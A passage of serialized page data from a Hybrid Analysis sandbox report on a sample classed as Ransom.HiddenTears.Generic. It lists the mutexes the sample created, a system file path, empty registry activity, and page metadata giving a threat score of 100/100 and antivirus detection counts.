a8ccaac2ed9004f73748"}]},{"path":"%WINDIR%\\system32\\en-US\\IPHLPAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\.net clr networking","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5908a8ccaac2ed9004f73748"}]}]}},"report_ids":{"sandbox_job_ids":["5908a8ccaac2ed9004f73748"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ransom.HiddenTears.Generic Sample 0852eb3481a7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0852eb3481a7…. Malware family: Ransom.HiddenTears.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.HiddenTears.Generic Sample 0852eb3481a7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0852eb3481a7…. Malware family: Ransom.HiddenTears.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0852eb3481a7aa30d216f51e187794ecefa11efb72f68c5af5ac0814d2b3fb27"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.HiddenTears.Generic Sample 0852eb3481a7… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0852eb3481a7…. Malware family: Ransom.HiddenTears.Generic. Threat score 100/100. 20/27 AV engines flagged this file. 7 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2e","11",{}]]